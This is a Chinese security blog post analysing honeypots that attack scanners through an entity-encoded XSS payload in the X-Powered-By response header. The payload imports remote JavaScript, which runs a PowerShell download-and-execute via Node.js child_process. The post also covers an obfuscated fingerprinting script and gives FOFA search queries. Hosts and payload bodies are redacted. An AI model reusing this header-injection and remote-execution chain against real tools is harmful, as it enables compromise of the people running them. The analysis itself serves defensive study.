蜜罐响应头反制代码分析

  1. 响应头反制
  2. Node.js 载荷
  3. 接口
  4. 反-反蜜罐插件
  5. common.js
  6. 最后
  7. 参考

响应头反制

根据土司老哥的截图找过去,看到 X-Powered-By 里塞了一大串 HTML 实体:

X-Powered-By: PHP/7&#38;&#35;...;<img src=1 onerror=&#105;&#109;&#112;&#111;&#114;&#116;...>

响应头中的双层实体编码,目标信息已打码

尝试用 Python 解码。因为套了两层实体,所以循环调用 html.unescape():

from html import unescape


value = response_header

while True:
    decoded = unescape(value)
    if decoded == value:
        break
    value = decoded

print(value)

第二次解码后得到:

PHP/7<marker><img src=1 onerror=import(unescape(
  'http://<redacted>/<marker>/Node.js'
))>

前面的 <marker> 是一段随机字符串,和后面脚本路径里的目录对应,应该是用来标识样本的。

Node.js 载荷

访问 XSS 里的远程脚本,核心结构是:

(function () {
  require("child_process").exec(
    "powershell <download and execute payload>"
  );
})();

看着就是用来反制扫描器的,触发链大概是:

响应头被当作 HTML 渲染
    -> img onerror
    -> 动态 import 远程 JavaScript
    -> Electron/Node.js require
    -> child_process.exec

普通浏览器页面里没有 require(),所以这段更像是针对开启 Node.js 集成、又把响应头直接写进 DOM 的扫描器或 Electron 工具。

接口

接口当晚已经被表哥们翻得差不多了,主要是 JSONP、XSS,还有些后来已经失效。

反-反蜜罐插件

在看接口时,有些会带上 xxoo 这种意☆义☆不☆明的参数:

后面在推上看到 drivertom 表哥说,这是用来绕过反蜜罐插件的。

common.js

按照另一篇文章里的 FOFA 语句搜了一下,打开几个站看,页面只比正常业务站多加载了:

monitordevinfo/common.js

代码用了字符串表、数组轮转和大量索引访问,把它放进 JavaScript Deobfuscator 展开后,能看到浏览器环境和调试状态检测。

common.js 搜索结果,目标信息和 Cookie 已打码

common.js 调试现场,原图中的目标信息已打码

当时搜到的样本基本都有这些特征:

monitordevinfo/common.js
nginx/1.16.1
相同的混淆结构

当时猜测这批蜜罐不是逐个克隆页面,而是通过反代快速部署的。nginx/1.16.1 只能作为同一批部署模板的线索,不能单独拿来判断蜜罐。

最后

通过响应头里的实体编码继续搜:

header="&#105;&#109;&#112;&#111;&#114;&#116;&#40;&#117;&#110;&#101;&#115;&#99;&#97;&#112;&#101;&#40;&#39;&#104;&#116;&#116;&#112;"

响应头特征的 FOFA 结果,地址、域名和响应载荷已打码

可以看到不少地方部署了基本一样的蜜罐,当时搜到的站清一色是 7 月份新建的。随手记了几组仿冒登录页和调试现场:

仿冒平台页面调试,机构名称和地址已打码

仿冒邮件系统调试,机构名称和地址已打码

仿冒 ERP 页面调试,机构名称和地址已打码

仿冒登录页调试,目标地址和域名已打码

你很会黑吗?
你会黑有个屁用啊
出来混要有势力 要有背景
你哪个道上的?
......
原来是踩蜜罐了

参考

记一次某东 SRC 踩罐后感

蜜罐接口抓取分享

反-反蜜罐:以三个反蜜罐插件的缺陷为例

JavaScript Deobfuscator


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:蜜罐响应头反制代码分析

字数:717

本文作者:

发布时间:2022-11-27, 03:45:00

最后更新:2026-08-26, 21:18:00

原始链接:https://cnlnn.pages.dev/posts/honeypot-response-header-counterattack/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。